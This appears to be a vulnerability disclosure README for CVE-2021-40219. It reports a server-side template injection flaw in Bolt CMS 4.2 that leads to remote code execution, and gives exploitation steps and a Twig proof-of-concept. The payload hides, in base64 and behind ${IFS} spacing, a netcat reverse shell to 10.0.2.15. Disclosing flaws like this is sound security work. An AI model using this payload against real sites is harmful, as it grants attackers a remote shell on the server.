README.md

CVE-2021-40219

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40219

`Bolt CMS`

SSTI to Remote Code Execution

Reported by S1lv3r

`Description :`

The vulnerability exists on core/src/Controller/Frontend/TemplateController.php, unsave rendering allow an authenticated attacker to abuse it using server-side template injection vulnerability that lead to remote code execute with bypass array error restriction with "join" filter

TemplateController.php line 25: return $this->render($templates, []);

1- The authenticated user edit theme by going to file management -> view/edit themes

2- Inject our PoC payload that will run system command

3- Go to Edit Page then create new page and choose our malicious template

4- Go to RCE-PoC page (using step 3) to trigger execution : http://127.0.0.1/page/RCE-PoC

`Version :` BoltCMS Latest Version 4.2 (GitHub's latest version 8/23/2021)

`Attack Type:` Remote

`Impact :` Remote Command Execution

`PoC :`

```
{{['echo${IFS}-n${IFS}"bmMgMTAuMC4yLjE1IDQ0MyAtZSAvYmluL2Jhc2g="${IFS}|${IFS}base64${IFS}-
d${IFS}|bash']|filter('system')|join(', ') }}
```

`References:`

https://github.com/bolt/core/blob/3b21a73ebf519b76756d3ad2841312d10ef11461/src/Controller/Frontend/TemplateController.php#L25